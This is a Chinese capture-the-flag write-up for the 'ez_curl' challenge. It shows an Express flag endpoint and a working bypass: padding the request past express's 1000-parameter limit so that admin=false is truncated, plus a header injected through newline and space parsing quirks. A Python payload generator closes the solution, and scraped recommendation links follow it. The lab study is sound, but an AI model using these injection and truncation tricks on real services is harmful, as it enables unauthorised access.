[CTF]攻防世界:ez_curl

题目:EZ_CURL

提示:php审计 noed.js

c 复制代码
app.js

const express = require('express');

const app = express();

const port = 3000;
const flag = process.env.flag;

app.get('/flag', (req, res) => {
    if(!req.query.admin.includes('false') && req.headers.admin.includes('true')){
        res.send(flag);
    }else{
        res.send('try hard');
    }
});

app.listen({ port: port , host: '0.0.0.0'});

req.query.admin.includes:要求在URL中admin字段的值不包含"false"子串(必须要有admin字段)

req.headers.admin.includes:要求在报文头部中admin字段的值包含"true"子串


步骤

1、绕过URL

在NodeJS中有以下知识点:express的parameterLimit默认为1000,即当参数个数大于1000时,后面的参数将被截断。

当我们给params赋值的成员个数大于1000时,即可让$url中admin=false被截断。

2、绕过headers的判断

1、换行符截断

c 复制代码
{"headers": ["xx:xx\nadmin: true"]}

admin和true字符串都在第一个冒号后,而在NodeJS解析时,会解析得到admin的字段为true.

2、node.js解析

c 复制代码
{"headers": ["admin: x", " true: y"]}

admin和true是分开的两个数组,不会同时满足过滤条件,所以可以绕过PHP文件的判断。在正常解析过程中,在键名中是不允许存在空格的,但NodeJS在遇到这类情况时是宽容的,会将其解析成 admin:x true y

3、拿到flag

c 复制代码
import json

datas = {"headers":["xx:xx\nadmin:true"],
         "params":{"admin":"true"}}

for i in range(1002):
    datas["params"]["s"+str(i)] = i

json1 = json.dumps(datas)
print(json1)
相关推荐
REDcker13 分钟前
iOS 与 Android:浏览器引擎、WebView 与生态差异概览
android·ios·内核·浏览器·webview
Kapaseker21 分钟前
介绍一个新的 Compose 控件 — 浮动菜单
android·kotlin
空中海21 分钟前
第二章:UI 开发——View 系统与 Jetpack Compose
android·ui
空中海21 分钟前
安卓 第五章:网络与数据持久化
android·网络
fengci.24 分钟前
php反序列化(复习)(第五章)
android·开发语言·学习·php
美狐美颜sdk25 分钟前
视频平台如何实现实时美颜?Android/iOS直播APP美颜SDK接入指南
android·前端·人工智能·ios·音视频·第三方美颜sdk·视频美颜sdk
Hacker_seagull29 分钟前
Sqlmap 工具保姆级使用教程
经验分享·python·web安全·网络安全
XiaoLeisj44 分钟前
Android 短视频项目实战:从登录态回流、设置页动作分发到缓存清理、协议页复用与密码重置的完整实现个人中心与设置模块
android·mvvm·webview·arouter
墨言ink2 小时前
Burp 联动AI 一句话漏洞挖掘(Claude+BurpMCP)部署+实战教程
web安全·ai